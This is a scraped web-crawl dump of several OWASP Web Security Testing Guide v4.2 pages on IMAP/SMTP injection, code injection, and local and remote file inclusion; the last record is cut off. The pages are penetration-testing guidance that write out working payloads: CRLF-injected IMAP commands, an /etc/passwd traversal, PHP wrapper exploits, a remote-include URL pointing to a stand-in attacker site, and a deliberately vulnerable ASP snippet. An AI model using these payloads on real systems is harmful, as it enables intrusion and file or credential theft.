"https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for IMAP SMTP Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Identifying Vulnerable Parameters"}, {"uroven": 3, "text": "Understanding the Data Flow and Deployment Structure of the Client"}, {"uroven": 3, "text": "IMAP/SMTP Command Injection"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing for IMAP SMTP Injection\n\n| ID |\n| --- |\n| WSTG-INPV-10 |\n\n## Summary\n\nThis threat affects all applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not being properly sanitized.\n\nThe IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to conduct direct testing.\n\nAn IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the front-end web servers. Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1).\n\n*Figure 4.7.10-1: Communication with the mail servers using the IMAP/SMTP Injection technique*\n\nFigure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2 is the tester bypassing the webmail client and interacting with the back-end mail servers directly.\n\nThis technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested.\n\nSome examples of attacks using the IMAP/SMTP Injection technique are:\n\n- Exploitation of vulnerabilities in the IMAP/SMTP protocol\n- Application restrictions evasion\n- Anti-automation process evasion\n- Information leaks\n- Relay/SPAM\n\n## Test Objectives\n\n- Identify IMAP/SMTP injection points.\n- Understand the data flow and deployment structure of the system.\n- Assess the injection impacts.\n\n## How to Test\n\n### Identifying Vulnerable Parameters\n\nIn order to detect vulnerable parameters, the tester has to analyze the application’s ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure application, the response should be an error with some corresponding action telling the client that something has gone wrong. In a vulnerable application, the malicious request may be processed by the back-end application that will answer with a `HTTP 200 OK` response message.\n\nIt is important to note that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.\n\nIMAP special parameters that should be used are:\n\n| On the IMAP server | On the SMTP server |\n| --- | --- |\n| Authentication | Emissor email |\n| operations with mail boxes (list, read, create, delete, rename) | Destination email |\n| operations with messages (read, copy, move, delete) | Subject |\n| Disconnection | Message body |\n| | Attached files |\n\nIn this example, the “mailbox” parameter is being tested by manipulating all requests with the parameter in:\n\n`http:///src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1`\n\nThe following examples can be used.\n\n- Assign a null value to the parameter:\n\n`http:///src/read_body.php?mailbox=&passed_id=46106&startMessage=1`\n\n- Substitute the value with a random value:\n\n`http:///src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1`\n\n- Add other values to the parameter:\n\n`http:///src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1`\n\n- Add non standard special characters (i.e.: `\\` , `'` , `\"` , `@` , `#` , `!` , `|` ):\n\n`http:///src/read_body.php?mailbox=INBOX\"&passed_id=46106&startMessage=1`\n\n- Eliminate the parameter:\n\n`http:///src/read_body.php?passed_id=46106&startMessage=1`\n\nThe final result of the above testing gives the tester three possible situations:\nS1 - The application returns a error code/message\nS2 - The application does not return an error code/message, but it does not realize the requested operation\nS3 - The application does not return an error code/message and realizes the operation requested normally\n\nSituations S1 and S2 represent successful IMAP/SMTP injection.\n\nAn attacker’s aim is receiving the S1 response, as it is an indicator that the application is vulnerable to injection and further manipulation.\n\nLet’s suppose that a user retrieves the email headers using the following HTTP request:\n\n`http:///src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0`\n\nAn attacker might modify the value of the parameter INBOX by injecting the character `\"` (%22 using URL encoding):\n\n`http:///src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0`\n\nIn this case, the application answer may be:\n\n```\nERROR: Bad or malformed request.\nQuery: SELECT \"INBOX\"\"\nServer responded: Unexpected extra arguments to Select\n```\n\nThe situation S2 is harder to test successfully. The tester needs to use blind command injection in order to determine if the server is vulnerable.\n\nOn the other hand, the last situation (S3) is not revelant in this paragraph.\n\n> List of vulnerable parameters\n> \n> - Affected functionality\n> - Type of possible injection (IMAP/SMTP)\n\n### Understanding the Data Flow and Deployment Structure of the Client\n\nAfter identifying all vulnerable parameters (for example, `passed_id`), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit the application.\n\nIn this test case, we have detected that the application’s `passed_id` parameter is vulnerable and is used in the following request:\n\n`http:///src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1`\n\nUsing the following test case (providing an alphabetical value when a numerical value is required):\n\n`http:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1`\n\nwill generate the following error message:\n\n```\nERROR : Bad or malformed request.\nQuery: FETCH test:test BODY[HEADER]\nServer responded: Error in IMAP command received by server.\n```\n\nIn this example, the error message returned the name of the executed command and the corresponding parameters.\n\nIn other situations, the error message (`not controlled` by the application) contains the name of the executed command, but reading the suitable RFC allows the tester to understand what other possible commands can be executed.\n\nIf the application does not return descriptive error messages, the tester needs to analyze the affected functionality to deduce all the possible commands (and parameters) associated with the above mentioned functionality. For example, if a vulnerable parameter has been detected in the create mailbox functionality, it is logical to assume that the affected IMAP command is `CREATE`. According to the RFC, the `CREATE` command accepts one parameter which specifies the name of the mailbox to create.\n\n> List of IMAP/SMTP commands affected\n> \n> - Type, value, and number of parameters expected by the affected IMAP/SMTP commands\n\n### IMAP/SMTP Command Injection\n\nOnce the tester has identified vulnerable parameters and has analyzed the context in which they are executed, the next stage is exploiting the functionality.\n\nThis stage has two possible outcomes:\n\n1. The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: `CAPABILITY` , `NOOP` , `AUTHENTICATE` , `LOGIN` , and `LOGOUT` .\n2. The injection is only possible in an authenticated state: the successful exploitation requires the user to be fully authenticated before testing can continue.\n\nIn any case, the typical structure of an IMAP/SMTP Injection is as follows:\n\n- Header: ending of the expected command;\n- Body: injection of the new command;\n- Footer: beginning of the expected command.\n\nIt is important to remember that, in order to execute an IMAP/SMTP command, the previous command must be terminated with the CRLF (`%0d%0a`) sequence.\n\nLet’s suppose that in the Identifying vulnerable parameters stage, the attacker detects that the parameter `message_id` in the following request is vulnerable:\n\n`http:///read_email.php?message_id=4791`\n\nLet’s suppose also that the outcome of the analysis performed in the stage 2 (“Understanding the data flow and deployment structure of the client”) has identified the command and arguments associated with this parameter as:\n\n`FETCH 4791 BODY[HEADER]`\n\nIn this scenario, the IMAP injection structure would be:\n\n`http:///read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791`\n\nWhich would generate the following commands:\n\n```\n???? FETCH 4791 BODY[HEADER] V100 CAPABILITY V101 FETCH 4791 BODY[HEADER] \n```\n\nwhere:\n\n```\nHeader = 4791 BODY[HEADER] Body = %0d%0aV100 CAPABILITY%0d%0a Footer = V101 FETCH 4791 \n```\n\n> List of IMAP/SMTP commands affected\n> \n> - Arbitrary IMAP/SMTP command injection\n\n## References\n\n### Whitepapers\n\n- [RFC 0821 “Simple Mail Transfer Protocol”](https://tools.ietf.org/html/rfc821)\n- [RFC 3501 “Internet Message Access Protocol - Version 4rev1”](https://tools.ietf.org/html/rfc3501)\n- [Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers”](http://www.webappsec.org/projects/articles/121106.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9489, "slov": 1293, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:01", "sha256": "70792298c05f14cd2f10ef4d0af7b30166c05bbf53ac0afb6e86663f464b3936", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc821", "https://tools.ietf.org/html/rfc3501", "http://www.webappsec.org/projects/articles/121106.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Code Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Testing for PHP Injection Vulnerabilities"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "Testing for ASP Code Injection Vulnerabilities"}, {"uroven": 3, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Code Injection\n\n| ID |\n| --- |\n| WSTG-INPV-11 |\n\n## Summary\n\nThis section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server.\n\nIn [Code Injection](https://owasp.org/www-community/attacks/Code_Injection) testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.\n\n## Test Objectives\n\n- Identify injection points where you can inject code into the application.\n- Assess the injection severity.\n\n## How to Test\n\n### Black-Box Testing\n\n#### Testing for PHP Injection Vulnerabilities\n\nUsing the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:\n\n`http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a`\n\n> The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.\n\n### Gray-Box Testing\n\n#### Testing for ASP Code Injection Vulnerabilities\n\nExamine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it:\n\n```\n<%\nIf not isEmpty(Request( \"Data\" ) ) Then\nDim fso, f\n'User input Data is written to a file named data.txt\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\nSet f = fso.OpenTextFile(Server.MapPath( \"data.txt\" ), 8, True)\nf.Write Request(\"Data\") & vbCrLf\nf.close\nSet f = nothing\nSet fso = Nothing\n\n'Data.txt is executed\nServer.Execute( \"data.txt\" )\n\nElse\n%>\n\n
\n\n\n
\n<%\nEnd If\n%>)))\n```\n\n### References\n\n- [Security Focus](http://www.securityfocus.com)\n- [Insecure.org](http://www.insecure.org)\n- [Wikipedia](http://www.wikipedia.org)\n- [Reviewing Code for OS Injection](https://wiki.owasp.org/index.php/OS_Injection)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2141, "slov": 293, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:02", "sha256": "c077215b63e5b3aa1a0f57eb86666786c825796bb3e2aba276b48b364769c8ca", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.securityfocus.com/", "http://www.insecure.org/", "http://www.wikipedia.org/", "https://wiki.owasp.org/index.php/OS_Injection", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Local File Inclusion"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Null Byte Injection"}, {"uroven": 3, "text": "Path and Dot Truncation"}, {"uroven": 3, "text": "PHP Wrappers"}, {"uroven": 4, "text": "PHP Filter"}, {"uroven": 4, "text": "PHP ZIP"}, {"uroven": 4, "text": "PHP Data"}, {"uroven": 4, "text": "PHP Expect"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Local File Inclusion\n\n## Summary\n\nThe File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.\n\nThis can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:\n\n- Code execution on the web server\n- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)\n- Denial of Service (DoS)\n- Sensitive Information Disclosure\n\nLocal file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.\n\n## How to Test\n\nSince LFI occurs when paths passed to `include` statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters.\n\nConsider the following example:\n\n`http://vulnerable_host/preview.php?file=example.html`\n\nThis looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.\n\nTypical proof-of-concept would be to load passwd file:\n\n`http://vulnerable_host/preview.php?file=../../../../etc/passwd`\n\nIf the above mentioned conditions are met, an attacker would see something like the following:\n\n```\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nalex:x:500:500:alex:/home/alex:/bin/bash\nmargo:x:501:501::/home/margo:/bin/bash\n...\n```\n\nEven when such a vulnerability exists, its exploitation could be more complex in real life scenarios. Consider the following piece of code:\n\n```\n \n```\n\nSimple substitution with a random filename would not work as the postfix `.php` is appended to the provided input. In order to bypass it, a tester can use several techniques to get the expected exploitation.\n\n### Null Byte Injection\n\nThe `null character` (also known as `null terminator` or `null byte`) is a control character with the value zero present in many character sets that is being used as a reserved character to mark the end of a string. Once used, any character after this special byte will be ignored. Commonly the way to inject this character would be with the URL encoded string `%00` by appending it to the requested path. In our previous sample, performing a request to `http://vulnerable_host/preview.php?file=../../../../etc/passwd%00` would ignore the `.php` extension being added to the input filename, returning to an attacker a list of basic users as a result of a successful exploitation.\n\n### Path and Dot Truncation\n\nMost PHP installations have a filename limit of 4096 bytes. If any given filename is longer than that length, PHP simply truncates it, discarding any additional characters. Abusing this behavior makes it possible to make the PHP engine ignore the `.php` extension by moving it out of the 4096 bytes limit. When this happens, no error is triggered; the additional characters are simply dropped and PHP continues its execution normally.\n\nThis bypass would commonly be combined with other logic bypass strategies such as encoding part of the file path with Unicode encoding, the introduction of double encoding, or any other input that would still represent the valid desired filename.\n\n### PHP Wrappers\n\nLocal File Inclusion vulnerabilities are commonly seen as read only vulnerabilities that an attacker can use to read sensitive data from the server hosting the vulnerable application. However, in some specific implementations this vulnerability can be used to upgrade the attack [from LFI to Remote Code Execution](https://www.corben.io/zip-to-rce-lfi/) vulnerabilities that could potentially fully compromise the host.\n\nThis enhancement is common when an attacker could be able to combine the [LFI vulnerability with certain PHP wrappers](https://www.netsparker.com/blog/web-security/php-stream-wrappers/).\n\nA wrapper is a code that surrounds other code to perform some added functionality. PHP implements many [built-in wrappers](https://www.php.net/manual/en/wrappers.php) to be used with file system functions. Once their usage is detected during the testing process of an application, it’s a good practice to try to abuse it to identify the real risk of the detected weakness(es). Below you can get a list with the most commonly used wrappers, even though you should consider that it is not exhaustive and at the same time it is possible to register custom wrappers that if employed by the target, would require a deeper ad hoc analysis.\n\n#### PHP Filter\n\nUsed to access the local file system; this is a case insensitive wrapper that provides the capability to apply filters to a stream at the time of opening a file. This wrapper can be used to get content of a file preventing the server from executing it. For example, allowing an attacker to read the content of PHP files to get source code to identify sensitive information such as credentials or other exploitable vulnerabilities.\n\nThe wrapper can be used like `php://filter/convert.base64-encode/resource=FILE` where `FILE` is the file to retrieve. As a result of the usage of this execution, the content of the target file would be read, encoded to base64 (this is the step that prevents the execution server-side), and returned to the User-Agent.\n\n#### PHP ZIP\n\nOn PHP 7.2.0, the `zip://` wrapper was introduced to manipulate `zip` compressed files. This wrapper expects the following parameter structure: `zip:///filename_path#internal_filename` where `filename_path` is the path to the malicious file and `internal_filename` is the path where the malicious file is place inside the processed ZIP file. During the exploitation, it’s common that the `#` would be encoded with it’s URL Encoded value `%23`.\n\nAbuse of this wrapper could allow an attacker to design a malicious ZIP file that could be uploaded to the server, for example as an avatar image or using any file upload system available on the target website (the `php:zip://` wrapper does not require the zip file to have any specific extension) to be executed by the LFI vulnerability.\n\nIn order to test this vulnerability, the following procedure could be followed to attack the previous code example provided.\n\n1. Create the PHP file to be executed, for example with the content `` and save it as `code.php`\n2. Compress it as a new ZIP file called `target.zip`\n3. Rename the `target.zip` file to `target.jpg` to bypass the extension validation and upload it to the target website as your avatar image.\n4. Supposing that the `target.jpg` file is stored locally on the server to the `../avatar/target.jpg` path, exploit the vulnerability with the PHP ZIP wrapper by injecting the following payload to the vulnerable URL: `zip://../avatar/target.jpg%23code` (remember that `%23` corresponds to `#` ).\n\nSince on our sample the `.php` extension is concatenated to our payload, the request to `http://vulnerable_host/preview.php?file=zip://../avatar/target.jpg%23code` will result in the execution of the `code.php` file existing in the malicious ZIP file.\n\n#### PHP Data\n\nAvailable since PHP 5.2.0, this wrapper expects the following usage: `data://text/plain;base64,BASE64_STR` where `BASE64_STR` is expected to be the Base64 encoded content of the file to be processed. It’s important to consider that this wrapper would only be avaliable if the option `allow_url_include` would be enabled.\n\nIn order to test the LFI using this wrapper, the code to be executed should be Base64 encoded, for example, the `` code would be encoded as: `PD9waHAgcGhwaW5mbygpOyA/Pg==` so the payload would result as: `data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==`.\n\n#### PHP Expect\n\nThis wrapper, which is not enabled by default, provides access to processes `stdio`, `stdout` and `stderr`. Expecting to be used as `expect://command` the server would execute the provided command on `BASH` and return it’s result.\n\n## Remediation\n\nThe most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain an allow list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.\n\nCheck out the [File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html) for good security practices on this topic.\n\n## Tools\n\n- [kadimus](https://github.com/P0cL4bs/Kadimus)\n- [LFI Suite](https://github.com/D35m0nd142/LFISuite)\n- [OWASP Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\n## References\n\n- [Wikipedia](https://www.wikipedia.org/wiki/Local_File_Inclusion)\n- [Null character](https://en.wikipedia.org/wiki/Null_character)\n- [Unicode Encoding](https://owasp.org/www-community/attacks/Unicode_Encoding)\n- [Double Encoding](https://owasp.org/www-community/Double_Encoding)\n- [PHP Supported Protocols and Wrappers](https://www.php.net/manual/en/wrappers.php)\n- [RFC 2397 - The “data” URL scheme](http://www.faqs.org/rfcs/rfc2397.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9926, "slov": 1435, "odkazu": 190, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:03", "sha256": "6cf8254549dcaa75f22ab935fd3dfde73cba924ea6fe69207272ae58112ca7d8", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.corben.io/zip-to-rce-lfi/", "https://www.netsparker.com/blog/web-security/php-stream-wrappers/", "https://www.php.net/manual/en/wrappers.php", "https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html", "https://github.com/P0cL4bs/Kadimus", "https://github.com/D35m0nd142/LFISuite", "https://www.zaproxy.org/", "https://www.wikipedia.org/wiki/Local_File_Inclusion", "https://en.wikipedia.org/wiki/Null_character", "http://www.faqs.org/rfcs/rfc2397.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "07-Input Validation Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Remote File Inclusion"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Remote File Inclusion\n\n## Summary\n\nThe File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.\n\nThis can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:\n\n- Code execution on the web server\n- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)\n- Denial of Service (DoS)\n- Sensitive Information Disclosure\n\nRemote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.\n\n## How to Test\n\nSince RFI occurs when paths passed to “include” statements are not properly sanitized, in a black-box testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:\n\n```\n$incfile = $_REQUEST[\"file\"]; include($incfile.\".php\"); \n```\n\nIn this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against an allow list), so this snippet of code results vulnerable to this type of attack. Consider the following URL:\n\n`http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page`\n\nIn this case the remote file is going to be included and any code contained in it is going to be run by the server.\n\n## Remediation\n\nThe most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain an allow list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.\n\n## References\n\n- [“Remote File Inclusion”](http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion)\n- [Wikipedia: “Remote File Inclusion”](https://en.wikipedia.org/wiki/Remote_File_Inclusion)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2704, "slov": 390, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:04", "sha256": "a83781f7d6eff955fc9b686adc5493d0444163edf04a2d1171881dda43c585f3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion", "https://en.wikipedia.org/wiki/Remote_File_Inclusion", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection", "og:locale": "en_US", 